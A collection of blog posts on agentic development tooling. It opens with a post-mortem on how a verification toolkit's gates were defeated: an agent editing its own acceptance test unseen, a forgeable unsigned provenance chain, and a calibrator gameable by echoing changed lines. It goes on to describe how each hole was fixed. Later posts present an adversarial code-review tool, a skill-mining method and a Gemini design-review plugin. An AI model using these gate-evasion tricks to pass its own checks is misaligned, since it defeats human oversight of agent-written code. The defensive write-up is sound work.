Reproduced in a scratch repo, start to finish. The builder edits its own acceptance test, commits, and the freeze gate (the one mechanism in the system that was supposed to be *non-probabilistic*, the one every other gate's trust hangs on) reports clean and, with `--record`, writes a signed-looking "rails-diff-empty proof" attesting to it. The gate didn't just miss the edit. It manufactured evidence that no edit occurred.
### `gate-manifest`: provenance you can forge from scratch
`gate-manifest` is sold as the evidence chain: "every gate appends a *signed* entry," in-toto/SLSA for agentic provenance, the thing that lets a regulated organization prove agent-written code was verified. There was no signing. Each entry's link to the previous one was a plain `sha256` of the prior line (a public, keyless function). Anyone who can write the file can recompute the entire chain.
A prosecutor wrote a clean two-entry chain by hand (`tests-pass`, then `prosecution-clean: SHIP`) recomputing each hash, and asked the tool to verify it:
```
{ "valid": true, "count": 2 }
```
No gate ever ran. The provenance tool certified a merge that never happened. The chain caught an honest actor who edited one line and forgot to recompute forward; against anyone who runs the tool, it proved nothing.
### `review-calibration`: the honesty meter that lied, and froze the lie into a test
This is the one that should sting, because `review-calibration` is the meta-gate: it measures whether your prosecution stack is honest by planting bugs and counting what comes back. It scored a plant as "caught" if the review output mentioned the right line or merely *contained a twelve-character substring of the changed line*. A reviewer that echoes every changed line and understands nothing scores **recall 1.0**. The instrument that certifies your reviewer is trustworthy was itself gameable by a `cat` command.
And its own test suite asserted the echoing reviewer *passes*; the bug wasn't just present, it was frozen into a green test as the intended behavior. The calibrator had been calibrated to call dishonesty honest.
The broader sweep found the same disease in eight more places: a P2 gate that trusted an environment variable for its verdict, a mutation tester that marked every mutant "killed" when the test command was simply `false`, a conflict forecaster that reported a cyclic dependency graph as a clean empty schedule, a session supervisor blind to the one log format that actually exists, a behavioral diff that passed a dead server as "unchanged." Eleven gates, one failure class.
## The turn: reproduced, then RED
Two things made this a proof instead of an LLM grumbling about code.
First, **every finding was reproduced, not asserted**: the doctrine's "[evidence or it didn't happen](/adlc-1-models-arent-human#f4)" turned back on the toolkit. The `rails-guard` bypass ran in a shell to exit 0. The `gate-manifest` chain was forged and verified. The echoing reviewer was scored at 1.0. A finding nobody can reproduce is noise that burns fix-agent tokens chasing ghosts; I let none through.
Second, **each fix started from the reproduction as a failing test**. `rails-guard` now resolves its baseline to the merge-base with the trunk and *fails closed* when it can't (a committed rail edit is caught, and the test that proves it is the bypass itself, inverted). `gate-manifest` gained real keyed signing; the forged chain that used to verify `valid` now fails. `review-calibration` was rebuilt to score a plant as caught only when a finding *locates and identifies* it (verified behaviorally or judged semantically, with no substring shortcut) and the echoing-reviewer test was flipped: it now asserts recall **~0**. That inverted test became the control that runs on *every* calibration from here on. The bug that hid in a green assertion is now the assertion that guards against its own return.
The trail is real and ordinary: a frozen-baseline fix to the shared core, a sweep across eleven gates, and the calibrator's rebuild, landed as commits. Each carries the regression test that reproduces its exploit (roughly eighty new tests across the toolkit) with every package green. Not a narrative. A diff.
## Practicing what I preach: the real proof-of-work
The series keeps making one move ([replace trust with structure, structure with measurement](/adlc-7-built-with-the-lifecycle)) and this episode is that move applied to the toolkit itself, which means it's the doctrine's own claims, tested on the doctrine's own artifacts:
- **F2: self-review is worthless.** The builder's green suite certified gates the builder couldn't see were broken. Asking the toolkit "do you look right?" returned yes, exactly as predicted.
- **E4: fresh context has an inverse value.** The only reviewer that found the blindness was one with no stake in the code being right and no memory of why it was written that way. Contamination by construction history is real; the cure is a context that lacks it.
- **The recursion closes.** I calibrated the calibrator: the tool that measures reviewer honesty was made honest by the same trick it performs on everyone else: plant the failure, measure, and gate. Dogfooding usually means "I used my own product." Here it means my own product diagnosed my own product, and the diagnosis was *you are sick*.
The honest boundaries, because a doctrine without them is marketing, and because this post, like every gate, deserves its own prosecution:
The prosecutors were agents under one operator's direction, same model vendor. The active ingredient was not cross-vendor independence; it was [fresh context plus a refute charter](/adlc-4-prosecution-not-code-review#one-lens), and a human deciding what to reproduce. "Independent review" oversells it; "a critic with no construction-history bias and a charter to break things" is the accurate claim, and it was enough.
And the gates are *hardened against this class*, not *proven correct*. Eleven holes found and closed is not eleven holes that existed; it's the eleven a few prosecution passes surfaced. The next class is already visible: nobody ran a generator whose entire charter is "produce a diff that passes every gate and is wrong," run continuously against the gate suite like a fuzzer for the lifecycle. That tool (call it gate-fuzzing) is the one that finds the holes a fixed review pass won't, and it's the next thing to build, because the lesson of this episode is that a gate you haven't tried to defeat is a gate you haven't tested.
That's the real shape of dogfooding. Not "I ate my own cooking and it was delicious." I ate it, it made us sick, the kitchen's own instruments told us exactly why, and now the test for that sickness runs on every meal.
## Try it on your own gates
You have gates too: the lint config nobody audits, the CI check that's green for reasons no one has verified, the review bot whose recall is unknown. Point a fresh-context, refute-chartered pass at one of them and ask the only question that matters: *what is the strongest reason this does not hold?* Reproduce whatever comes back before you believe it, and turn each reproduction into the test that was missing. The first time is reliably humbling. It is also the cheapest review you will ever run, and the only one that tells you what your gates are actually worth.
*Start of series: [Stop Running the SDLC on Models That Aren't Human →](/adlc-1-models-arent-human)*
---
# **Adversarial Review**: For All, By All
Published: 2026-06-09T09:00:00.000-04:00
Tags: llm, agents, claude-code, open-source, code-review
Source: https://www.voodootikigod.com/adversarial-review
> adversarial-review brings skeptical, model-agnostic code review to your harness as the /adversarial-review skill, and to CI as a zero-dependency CLI. Either way, an independent LLM closes the loop the creator agent cannot close for itself.
Nobody stops the engineer who wrote the feature from reviewing their own pull request. There is no rule against it. They know the code better than anyone, and they will catch the obvious things. What they will not catch is the decision they already made and stopped questioning: the edge case they told themselves was acceptable, the error path they noted and moved past, the assumption so deep in the implementation it stopped looking like an assumption. The second set of eyes was never about catching what they missed by accident. It is about bringing a reader who does not remember why.
The default agentic workflow skips that step entirely. The agent writes the change, reads back its own diff, and approves it. It already decided every tradeoff in that diff, and re-reading them just confirms the decisions it made minutes ago. The bug it waved through is still sitting there. It has no way to see it.
The [OpenAI Codex CLI harness plugin](https://github.com/openai/codex-plugin-cc/tree/main?ref=voodootikigod.com) fixed this with one move: take the diff the creator agent just produced, hand it to a second model with a clean context window, and ask that model to break confidence in the change. The creator carries every decision it already made. The reviewer carries none of them. The quality delta is real and immediate. In the Agentic Development Lifecycle, this is what has become known as an Adversarial Review.
But the initial implementation only runs inside the Codex runtime. Hit your Codex subscription limit and the review stops mid-loop, the change sits unreviewed until your quota resets. Want the same check on every branch and pull request? There is no path; CI cannot reach into the Codex runtime to run it. The insight is right. The implementation is welded to one runtime.
So I pulled it out of the Codex runtime and made it standalone: `adversarial-review`.
## A different model in a clean context is the whole trick
The quality gain from adversarial review is not mysterious. The creator agent carries the context of everything it decided: the approach it chose, the tradeoffs it made, the edge cases it told itself were acceptable. When you ask that same agent to review its own work, it does not re-evaluate those decisions. It confirms them. It remembers why it made them.
A separate model with a fresh context window has none of that. It sees what is there, not what was intended. It catches the unhandled error path the creator glossed over because the happy path was already in mind. It notices the missing import. It asks whether this actually does what it claims.
Same reason you do not let the engineer who built the feature write the tests and call it QA.
`adversarial-review` is built directly on the design the Codex plugin established. What it adds is the ability to run that same review against any model, any runtime, any harness.
## The loop closes on the reviewer, not the creator
Here is what the workflow looks like with `adversarial-review` wired in:
```mermaid
graph TD
A[Creator/Editor Agent writes or edits code] --> B[adversarial-review gathers git diff]
B --> C[Alternative LLM in clean context reviews diff]
C --> D{Verdict?}
D -- needs-attention --> E[Editor Agent receives feedback and fixes code]
E --> B
D -- approve --> F[Safe to push / merge / ship]
```
The editor agent makes changes. The CLI collects the diff. A different model, different provider, different session, and clean context reads only that diff and has one job: break confidence in the change. It evaluates accuracy, completeness, and adherence to engineering practice. It returns structured JSON: a binary verdict (`approve` or `needs-attention`), and for each finding, the file, line range, severity, and a specific recommendation.
The verdict maps directly to the shell exit code. Zero for `approve`, two for `needs-attention`. That is what makes it drop-in for a pre-commit hook or a CI step. The editor agent gets the findings, fixes the code, and the loop runs again until the reviewer approves.
Since I put this in place, I have shipped fewer bugs. Not zero. But fewer.
## The skill runs the loop.
The entry point is the skill. The repository ships an [Agent Skill](https://agentskills.io/home?ref=voodootikigod.com) ready for you to use in your agentic workflow by dropping it into Claude Code, Codex, Antigravity, or any compliant harness via [Skills.sh](https://skills.sh?ref=voodootikigod.com). You ask "is this branch safe to ship?" or invoke `/adversarial-review` directly, and the agent runs the loop for you, gathers the diff, calls the reviewer, returns the verdict, and if findings come back it feeds them to the editor and loops until the reviewer approves. The whole thing stays inside your normal working session. No separate terminal. No manual invocation.
Getting it there is one command. [Skills.sh](https://skills.sh?ref=voodootikigod.com) reads the skill straight from the GitHub repository and installs it into Claude Code, Codex, Cursor, or any compliant harness:
```bash
npx skills add voodootikigod/adversarial-review
```
From then on it is available in every session. Ask `is this branch safe to ship?` in plain language, or call `/adversarial-review` and scope it the way you would the CLI when you need to:
```bash
# Review the current branch against main, with a focus area
/adversarial-review --base main "focus on the auth boundary"
```
Some harnesses cannot run anything: no npx, no scripts, just a model reading text. The skill still works there. It ships the prompt template and JSON schema as plain reference files, so the agent assembles the review and validates its own output by reasoning alone. No binary, no network, no environment access. That is the [Agent Skills](https://agentskills.io/specification?ref=voodootikigod.com) format working as intended.
For CI pipelines, pre-commit hooks, and anywhere you need the review scripted and non-interactive, `npx` is the path:
```bash
# Review uncommitted working-tree changes
npx adversarial-review
# Review the current branch against develop
npx adversarial-review --base develop
# Direct the reviewer to focus on a specific concern
npx adversarial-review "focus on token expiration and refresh boundaries"
# Print the compiled prompt without calling the LLM
npx adversarial-review --prompt-only > prompt.txt
```
The exit code does the work in automation. Zero for `approve`, two for `needs-attention`, drop it in a workflow step and let the pipeline gate on it.
## One agent implements. A different agent reviews. That split is the whole point.
The single-model setup, where one agent writes and reviews its own work, is fast, convenient, and produces something that looks right. Plausible is the wrong bar when you are shipping automated changes to a production codebase.
After several months of building with these tools, the pattern became consistent. One agent implements. A different agent reviews implementation quality. A third reviews visual quality, which is [its own distinct problem](https://www.voodootikigod.com/gemini-plugin-cc?ref=voodootikigod.com). Each brings different strengths and, critically, none of them carries the assumptions of the one that wrote the code.
That structure did not come from theory. It came from a specific kind of miss I kept seeing. The creator model makes a judgment call somewhere in the implementation, decides an edge case is acceptable or a shortcut is fine for now, and then reviews its own decision as correct, because it already made that decision and remembered why. It is not re-evaluating the call. It is defending it. Whereas in an Adversarial Review, the second model has no decision to protect. It reads the same code, sees the gap the creator reasoned its way past, and flags it on the first pass, almost every time. We are dealing with non-determinism here after all.
`adversarial-review` is the implementation-quality piece of that loop, made model-agnostic so it survives runtime changes, harness changes, and provider changes. The review discipline is what matters. The specific model doing the reviewing should not be a dependency.
## Nothing to audit, nothing a malicious patch can compromise
`adversarial-review` is also pure ES module Node.js, Node 18 and up, using native `fetch` and built-in CLI helpers. No external npm dependencies. Nothing to audit, nothing that can go stale, nothing a malicious patch release can compromise.
There are practical reasons for this beyond ideology. If the tool you are using to verify code quality itself pulls in a graph of transitive dependencies, you have introduced a new attack surface at the most sensitive point in your workflow. The review step is exactly where you want the least moving parts. And running it with `npx` on demand means you always get the current published version without committing a lockfile for a tool that is not part of your build.
The package is published at [npmjs.com/package/adversarial-review](https://www.npmjs.com/package/adversarial-review?ref=voodootikigod.com). `npx adversarial-review` runs immediately. No global install. No version drift. No installation step you forget to do on a new machine.
## The prompt adapts to the change, not to a fixed template
The CLI collects the git context for your repository and makes a structural decision before it formats the prompt. If the change is small, below configurable thresholds for file count and total bytes, it embeds the full diff as primary evidence. The reviewer sees exactly what changed.
For larger changes, it generates a structured summary instead. Agentic models with shell or tool access can then inspect the target files themselves rather than trying to reason about a diff that would exceed their useful context. The shape of the prompt adapts to the size of the change, not to a fixed template.
It formats the prompt, calls the configured model, parses the response using a trial-parsing approach that handles the messy ways different models return structured output, validates against a strict JSON schema, and writes the report. The whole thing is designed to fail noisily if something goes wrong, not silently return a false approve.
## First match wins
You do not need to configure anything to get started. The CLI detects your active environment in order: `ANTHROPIC_API_KEY` first, then `GEMINI_API_KEY`, then `OPENAI_API_KEY`, and finally a local subscription CLI on your `$PATH` (`claude`, `codex`, or `gemini`). First match wins.
If you want to override detection, `--provider` and `--model` are there. You can point it at Claude Sonnet for review even when you are working with Codex as your editor. You can point it at a local Gemini session when you have no API keys at all. Whatever you point it at, read the prompt templates at [voodootikigod/adversarial-review](https://github.com/voodootikigod/adversarial-review?ref=voodootikigod.com) first. Know what you are sending.
That is what model-agnostic means in practice. Not "supports multiple models in a configuration file." Actually falls back through a sensible detection chain and uses whatever is available.
Decoupling it from the Codex runtime is what makes that possible. The second read is no longer the privilege of one subscription or one harness: any model, any pipeline, any branch can run it now. That is what it means to make adversarial review available for all, by all.
* * *
_`adversarial-review` is Apache-2.0 licensed, available as a skill via `npx skills add voodootikigod/adversarial-review` and as a standalone CLI via `npx adversarial-review`. The [Agent Skills Specification](https://agentskills.io/?ref=voodootikigod.com) lives at agentskills.io._
---
# **Skill Mining**: Extracting What Your Codebase Already Knows
Published: 2026-06-04T10:00:00.000-05:00
Tags: agents, agent-skills, skills, llm, open-source
Source: https://www.voodootikigod.com/skill-mining
> Your codebase already encodes how your team builds. Skill mining extracts that latent know-how into reusable agent skills. Here is the loop.
As the Head of Forward Deployed Engineering at [Vercel](https://vercel.com), I drop into customer codebases for a living. Startups, enterprises, teams of two and teams of two hundred. The repository is always unfamiliar, the deadline is always real, and I am always the person who cloned it this morning.
So is the agent.
Port 5441, not 5432. `.env.test`, not `.env.local`. A filter flag you write from memory in three seconds, if you have been in this repo before. Neither of us has. That gap costs real time, and it compounds across every engagement.
Repos accumulate that kind of knowledge. The unwritten rule that money is always stored in cents, never floats. The folder a new feature is supposed to go in, enforced only when a reviewer catches you putting it somewhere else. The four-step dance to run a schema migration safely, which you get wrong exactly once and never forget again.
None of that is in a file you can point to. It lives in commit history, in scattered validators, in review comments, in the heads of whoever has been here longest. It is the difference between someone who has worked in your repo for two years and someone who cloned it this morning.
Every agent starts as the person who cloned it this morning. Brilliant and completely without context, every single time.
Skill mining is how you fix that.
## Mining, because the value is already in the ground
I picked the word deliberately. You are not inventing skills. You are extracting something that is already there.
A codebase is a sedimentary record of how a team builds software. Every commit is a decision. Every cluster of bug-fix commits around the same file is a sign that says this part is hard, and here is how we eventually got it right. Every convention the team follows is a pattern that an agent currently has to re-discover by reading three other files and guessing.
That latent know-how has real value, and right now it is locked in a form only humans (and only some humans) can read fluently. Skill mining is the dig: you survey the terrain, find the rich seams, score them by leverage, and pull the valuable ones up into a form your agents can use directly.
The form already exists. The open [Agent Skills Specification](https://agentskills.io/?ref=voodootikigod.com) standardized on a simple format: a folder with a `SKILL.md` file, a name, a trigger-rich description, and a body of instructions. Drop one into the right directory and any compliant harness loads it on demand when the description matches what you are doing. Claude Code, Codex, Antigravity, Cursor, Zed. The package manager (`npx skills`) and the registry at [skills.sh](https://skills.sh/?ref=voodootikigod.com) handle distribution. The plumbing is solved. What has been missing is a disciplined way to figure out which skills are worth having for a given codebase.
That is the gap skill mining fills.
## The prompt that started it
This practice started, like a lot of good practices do, as a long prompt I kept reusing. Something like:
> do a thorough review of this project's codebase with the goal of building up a set of high-value agent skills, find existing ones to reuse where possible, create new skills only where something is bespoke or unique to this app, then define agents that leverage them to drive implementation, fixing, and improvements as a team.
It worked. But a one-off prompt is itself un-mined knowledge. So I turned it into a proper, repeatable skill with a defined loop, a scoring rubric, and templates. That skill is open source under MIT, installs cross-harness, and you can run it on your own repos today.
The rest of this post is what is inside it.
## The survey comes first, the scalpel comes later
Skill mining runs as seven phases. The first half is broad and parallel. You are surveying and judging. The second half is surgical and sequential. You are writing artifacts you will have to maintain, so restraint matters more than coverage.
Survey, Detect, Score, Dedupe, Author, Compose, Verify. With two adversarial gates wired in between.
```mermaid
flowchart TD
S[Survey] --> D[Detect]
D --> SC[Score]
SC --> DD[Dedupe]
DD --> GA{Gate A}:::gate
GA -->|reuse or reject| X[Logged, never built]
GA -->|build earned| AU[Author]
AU --> CO[Compose]
CO --> GB{Gate B}:::gate
GB -->|fix| AU
GB -->|ship| V[Verify and report]
classDef gate fill:#d70000,stroke:#0f0f0f,color:#f2f2f0
```
### Survey: map the territory before judging it
Before deciding anything, the agent builds a factual map. Languages, frameworks, package layout, the actual build/test/lint/deploy commands, and the hotspots. `git log` churn tells you which files change most often, and high churn means high leverage. A skill that speeds up work on the hottest files in the repo pays back faster than one for a corner nobody touches.
It also reads the pain markers: clusters of `TODO`/`FIXME`/`HACK`, files with the most bug-fix commits, recurring reverts, flaky-test annotations. Pain is signal. Pain that recurs is a skill waiting to be written.
If your harness can run subagents in parallel (Claude's workflow engine, Codex's parallel tasks), this is where you fan out: one explorer per subsystem, then converge. If it cannot, you iterate. The method is identical; only the wall-clock differs.
### Detect: surface candidates everywhere they hide
Here is where most people get it wrong: they think skills means code patterns. The highest-leverage skills almost always live in the operational and tribal layers instead. The stuff nobody wrote down because everybody just knows it.
The mining loop sweeps a deliberate taxonomy: build/test/run incantations (the cheapest, highest-hit-rate skills in existence; every agent re-derives "how do I run this" on every task), domain rules and invariants (allowed state transitions, tenancy isolation, money handling, PII boundaries, enforced today only by scattered validators and reviewer memory), architectural conventions, review checklists (whatever your reviewers reliably catch is a skill), debugging playbooks, and migration and deploy recipes. Multi-step, error-prone, infrequent. Exactly the things people get wrong.
For each candidate, the agent captures the evidence: the files, line ranges, and commit history that prove the pattern actually recurs. That evidence is what makes the authored skill specific instead of generic, which turns out to be the whole game.
### Score: rank by leverage, not enthusiasm
It is very easy to get excited and mine forty skills. Forty skills is noise. The loop forces discipline with a five-axis rubric.
Frequency and leverage are a pair: high frequency with low leverage is noise, low frequency with high leverage is a trap. Bespokeness is the tiebreaker. A pattern that recurs constantly but already has a maintained community skill is a REUSE, not a BUILD. Stability matters because a skill that churns out of date in six weeks is worse than no skill. And verifiability is the gate on everything: if an agent cannot check whether it followed the skill, the skill can never get better.
The scores do not just rank the backlog. Their shape drives the next decision, which is the one that matters most.
### Dedupe: reuse before you build
This is the heart of skill mining, and the part that separates it from "the agent wrote me a pile of markdown."
For every candidate that survives scoring, the agent checks the existing ecosystem before authoring anything. It does that with a skill built exactly for the job: `find-skills`. Point it at a candidate and it searches your installed skills, runs `npx skills find `, and checks the [skills.sh](https://skills.sh/?ref=voodootikigod.com) leaderboard for a maintained skill that already covers the need. The cheapest skill in the world is the one somebody else already maintains. There are battle-tested community skills for React, Next.js, testing, security review, ClickHouse, and dozens more, with hundreds of thousands of installs and active maintainers. Re-implementing those in your repo is not a flex. It is a liability you now own.
Most candidates resolve to REUSE: a maintained public skill already covers this, install it and move on. A few are close but need a thin overlay. That is EXTEND. BUILD is the exception that has to earn its place: genuinely bespoke, high-leverage, nothing in the ecosystem that covers it. REJECT is not failure; it is the loop doing its job correctly. A good mining run might surface thirty candidates and build six. The other twenty-four are not failures. They are you not re-inventing things that do not need re-inventing.
```mermaid
flowchart TD
C[Scored candidate] --> Q1{Public skill exists?}
Q1 -->|fits as-is| RE[REUSE]
Q1 -->|close, needs overlay| EX[EXTEND]
Q1 -->|nothing covers it| Q2{Bespoke and high-leverage?}
Q2 -->|yes| BU[BUILD]:::build
Q2 -->|no| RJ[REJECT]
classDef build fill:#d70000,stroke:#0f0f0f,color:#f2f2f0
```
## The failure mode nobody talks about
The moment skills become easy to create, you get a new problem that looks a lot like the old `utils.js` problem, or the company wiki nobody trusts.
Skill sprawl. Dozens of overlapping, half-maintained skills piling up faster than anyone can curate them. And its close cousin, skill redundancy: three different write-good-React skills, each slightly different, none authoritative, all drifting apart over time. Sprawl and redundancy do not just waste effort. They actively degrade your agents. When five skills could match a task, the agent loads the wrong one, or loads two that contradict each other, and the quality you were trying to add turns into noise.
A bloated skill library is worse than a small one. Same way a 4,000-line `utils` file is worse than a tight standard library.
`find-skills` is the guardrail against both. By forcing a does-this-already-exist check before anything gets authored, it makes reuse the default and authoring the exception. Every candidate it can route to an existing skill is one fewer thing you maintain, one fewer near-duplicate for an agent to trip over, one fewer source of drift. A skill you did not write (because a maintained one already existed) is the highest-leverage outcome of the entire process. If you want the full quality toolkit once skills are in place (audit, lint, token budgeting, security scanning) that is [a separate post](https://voodootikigod.com/the-missing-quality-toolkit-for-agent-skills/?ref=voodootikigod.com).
## Author: write skills that are specific, or not at all
For the candidates you do build, the loop writes a `SKILL.md` with a few non-negotiable properties.
A trigger-rich description: this single field is how the skill gets discovered, and it has to contain the phrases a person would actually say. You write it last, once you know exactly what the skill does. One job per skill: if describing it needs the word "and," split it. Real commands and real paths: "write good tests" is not a skill; "run `pnpm test:int`; integration tests live in `tests/integration` and need `.env.test` with port 5441" is a skill. The specificity is the value. And a verification step: if an agent cannot tell whether it followed the skill, the skill can never improve.
## Compose: mine the agents, not just the skills
Skills are capabilities. Agents are the roles that wield them.
A generic code reviewer agent is weak. It reviews like a smart stranger. A reviewer agent that loads your repo's convention skill and your repo's security skill reviews like a senior engineer who has been on the team for years. It is carrying the same institutional knowledge they are. Same for an implementer that loads your architecture skill, a fixer that loads your debugging playbooks, a migrator that loads your deploy recipes.
A typical mined roster is an implementer, a fixer, a reviewer, and a migrator. It is [the same separation of roles](https://voodootikigod.com/gemini-plugin-cc/?ref=voodootikigod.com) that makes multi-model agent teams work. Each one a thin definition that names the specific skills it loads and the procedure it follows. The skills are the shared knowledge base; the agents are the specialists who have studied it.
The loop then writes a team manifest: who hands off to whom, and in what order. Implementer ships a diff to Reviewer; Reviewer routes findings to Fixer; Fixer's patch goes back to Reviewer; anything touching schema or deploy branches to the migrator. That manifest is what makes "drive improvements as a team" a runnable workflow instead of an aspiration.
```mermaid
flowchart LR
I[Implementer] -->|diff| R[Reviewer]
R -->|findings| F[Fixer]
F -->|patch| R
R -->|schema or deploy| M[Migrator]
R -->|clean| SH[Ship]:::ship
classDef ship fill:#d70000,stroke:#0f0f0f,color:#f2f2f0
```
## Verify: prove it, and hide nothing
A mined skill is a hypothesis until it is tested. A fresh-context agent gets only the authored skill and has to complete a real recent task with it. The verdict is SHIP, FIX, or REJECT, recorded with concrete evidence. A skill is verified only once a cold agent used it and it actually worked. Then lint the artifacts: valid frontmatter, unique names, descriptions that contain real trigger phrases.
Then the loop writes `SKILLS_MINED.md`: every candidate considered, its scores, its decision, and why. Nothing is dropped silently. A rejected candidate with a clear reason is a real output. It stops the next person, or the next mining run, from re-mining the same dead end. A deferred list captures the mid-scoring candidates worth a second look next pass, so the practice compounds instead of restarting from zero.
## Built-in skepticism: the two gates
Running this on my own repos taught me the most important lesson the hard way: the loop is biased toward building things. Left alone, the agent talks itself into bespoke skills it thinks are clever, inflates its own leverage scores, and writes skills that read perfectly to the agent that wrote them and uselessly to everyone else. An author always fills its own gaps from memory. A cold reader cannot.
The fix is to put an adversary in the loop. An independent reviewer, fresh context, prompted to refute rather than to check.
**Gate A challenges the decision.** Before any candidate gets built, a skeptic re-scores it with the burden of proof reversed. Default verdict is reuse or reject; it has to be talked into a build. It attacks the recurrence evidence and the bespokeness claim. This is what keeps the loop honest about reuse. It is where most of the accuracy comes from.
**Gate B red-teams the artifact.** After a skill is written, a fresh agent gets only that file. Not the survey, not the reasoning that produced it. Has to complete a real task with it. A skill that says "handle money correctly" with no commands, no invariants, no specific paths is not a skill. The agent guesses. The guess is wrong. You do not find out until a float slips into a charge.
The non-negotiable property is independence. A skill grading its own homework rubber-stamps every time. The reviewer has to be a separate pass with no stake in the answer, told its job is to break things, not to bless them. That single discipline is the difference between a pile of plausible markdown and a portfolio you can trust.
## Three things check into the repo
Run this on a real repo and three things check into the project. A handful of sharp, repo-specific skills your agents load automatically when the work matches. A small team of agent definitions that compose those skills into roles. And a report that documents what exists, what you reused, and what you chose not to build: institutional memory about your institutional memory.
The compounding effect is the real prize. Every skill is something your agents no longer re-derive. Every agent is a specialist you can summon. And because the skills are versioned files in the repo, they improve through normal pull requests. Someone hits a sharp edge, files a fix, and now every agent and every teammate inherits the lesson. The codebase starts teaching itself how to build itself.
## The same loop runs an organization's AI portfolio
Skill mining is the individual loop: one developer or team, one repo, run on demand. But look at the shape of it. Detect recurring know-how. Match it against what already exists. Find the gaps. Build only what is missing. Measure how much of the important work is now covered.
That is not just a repo workflow. That is a governance loop. And the moment you have more than a handful of people using AI across an organization, the absence of that loop starts costing real money.
Most enterprises rolling out AI cannot answer the questions that actually matter. What work are people trying to do with AI? Which of those patterns recur often enough to be worth standardizing? Which approved skills are being adopted and which are quietly ignored? Where are people reinventing the same capability, ad hoc, across teams that never compare notes?
I have watched teams spend weeks building a custom SQL generation skill, with three other teams in the same organization having already built functionally identical skills and quietly abandoned them six months earlier. Nobody compared notes. Nobody knew.
When nobody can answer those questions, three things happen at once. People do not adopt agents, because there is no trustworthy approved capability for the work they actually do. The organization pays for the same capability to be re-invented badly, dozens of times. Finance sees a token bill climbing with no way to tie it to value, so the instinct becomes throttle the spend rather than curate the portfolio. Which kills adoption from the other direction.
Cost dashboards describe the symptoms. They tell you that you spent a lot of tokens. They do not give you the operating loop to turn scattered AI usage into an intentional portfolio of capabilities. That loop is exactly skill mining, run continuously over an organization's AI traffic instead of over a single repo.
The metric that makes it legible is the organization-scale version of the `SKILLS_MINED.md` report: portfolio coverage, the percentage of your top recurring work patterns backed by an approved, trusted capability. That single number reframes the whole conversation. When it goes up, people actually adopt agents because the work they do has a capability built for it. When it goes down, you know exactly where the gap is and what to build next.
The enterprise-scale version of this is what I am building toward next. Skill mining gives an individual team that loop on a repository; the same loop run across an organization is how enterprise AI stops being a cost center and becomes an operating model. One is the dig site; the other is running the whole mineral economy.
The skill is open source under MIT and installs cross-harness. Two steps:
```bash
# Install the skill into your harness
npx skills add voodootikigod/skill-mining
# Then in your agent, on the project you want to mine
mine this repo for skills
```
It will survey the codebase, score what it finds, tell you what to reuse versus build, write the skills and agents it recommends, and hand you a report of everything it considered. Read the report critically. The rejected and deferred candidates are often as informative as the built ones. Commit the skills you keep, and watch the next task go faster.
Trust the reuse bias. Let `find-skills` win the argument. The instinct to build everything bespoke is the thing to fight; it is how you end up with skill sprawl. Re-mine after big changes: a major refactor or a new subsystem lays down a fresh seam of conventions, and capturing them while they are hot is the whole point. Treat skills like code: review them, version them, fix them in PRs. A [skill that drifts out of date](https://voodootikigod.com/your-agents-knowledge-has-a-shelf-life/?ref=voodootikigod.com) is worse than no skill at all.
The knowledge of how your team builds is already in your codebase. It is just locked in a form only your most senior people can read fluently. Skill mining is how you get it out, and how you make sure the next change, by a human or an agent, starts two years ahead instead of from scratch.
* * *
_The skill-mining skill is MIT-licensed and available via `npx skills add voodootikigod/skill-mining`. The [Agent Skills Specification](https://agentskills.io/?ref=voodootikigod.com) lives at agentskills.io. The enterprise-scale version of this loop is a story for soon._
---
# Code Review **Is Not** Visual Review
Published: 2026-05-04T09:00:00.000-04:00
Tags: llm, agents, claude-code, gemini, design-review, open-source
Source: https://www.voodootikigod.com/gemini-plugin-cc
> AI coding agents are very good at producing working code quickly. The harder problem is whether that code has the right visual shape. I built gemini-plugin-cc to bring Gemini into the workflow as a design-review companion for Claude Code and agent skills.
[Claude Code](https://docs.anthropic.com/en/docs/claude-code/overview?ref=voodootikigod.com) has been shipping a lot of working UI for me. [Codex](https://github.com/openai/codex?ref=voodootikigod.com) has been catching the implementation mistakes. And I was still ending up with interfaces that were technically correct and visually off.
Not broken. Worse than broken.
Plausible.
That is the uncomfortable category for generated UI. The code compiles. The page renders. The buttons work. The layout is responsive enough to pass a quick glance. But something about it is wrong, and the thing that is wrong is not always visible in the code review. The more I have used AI agents for real implementation work, the more obvious one pattern became.
The agent that writes the code should not be the only agent that reviews the code.
That sounds obvious when we talk about humans. Nobody argues that the developer who wrote the feature should be the only reviewer before it ships. We know review works because another person brings different assumptions, different attention, and different failure detection. When Codex announced the [Codex Plugin for Claude Code](https://github.com/openai/codex-plugin-cc) that brought Codex into my Claude Code session as an adversarial reviewer, I was happy because the same is true for AI agents, you get better results from different entities reviewing the same thing.
Claude Code is very good at driving implementation. Codex has been very good at adversarial review of that implementation. It catches weak assumptions, missing tests, edge cases, and places where generated code is plausible, but wrong. That split has produced real benefits for me: better accuracy, fewer bugs, and a much higher level of confidence in generated work.
But there was still a gap and one that I, as a self admitted non-designer, kept running into and was not able to self solve for.
The visual layer needed its own reviewer.
## Code review is not visual review
Most coding agents can produce a working interface. They can build and wire up components, add Tailwind classes, make the layout responsive, and get something on the screen that works, but a working UI is not the same thing as good UI.
The failures are often subtle:
- The spacing is almost consistent, which somehow makes it worse.
- The colors are valid CSS and still completely wrong for the brand.
- The hierarchy exists, but it does not tell the eye where to go.
- The buttons all work, but they look like they came from three different products.
- The page passes the "it renders" test, which is the lowest possible bar.
These are not always code architecture problems. They are design judgment problems.
And I have found the [Gemini](https://ai.google.dev/gemini-api/docs/models?ref=voodootikigod.com) model family to be particularly strong here. It has been useful not just for catching visual defects, but for improving the cleanliness, creativity, and coherence of the design itself. The pattern showed up enough times that I stopped treating it as taste. A generated dashboard would be responsive, accessible-ish, and wired correctly, but the density was wrong. Or the CTA hierarchy fought itself. Or the mobile view technically fit while feeling like a squeezed desktop layout.
Claude or Codex would tell me the component abstraction was fine. Gemini could tell me the screen was not.
Taking a page from the Codex in Claude Code book, I built a plugin to make that part of the workflow.
## Meet gemini-plugin-cc
`gemini-plugin-cc` is a visual design companion for AI coding agents. It uses [Gemini CLI](https://geminicli.com/?ref=voodootikigod.com) to generate and review a project's visual design system via an open [Stitch](https://stitch.withgoogle.com/?ref=voodootikigod.com) `DESIGN.md` file, if available, screenshots, and UI source. The goal is not to replace code review. The goal is to give visual review its own lane.
The plugin can:
- Generate a Stitch-format `DESIGN.md` from the current UI.
- Review rendered screens against brand fidelity, color tokens, typography, spacing, accessibility, and component variants.
- Propose alternative visual directions with token-level differences, not just vague "make it better" advice.
- Run a three-pass visual second opinion: advocate, critic, and synthesis.
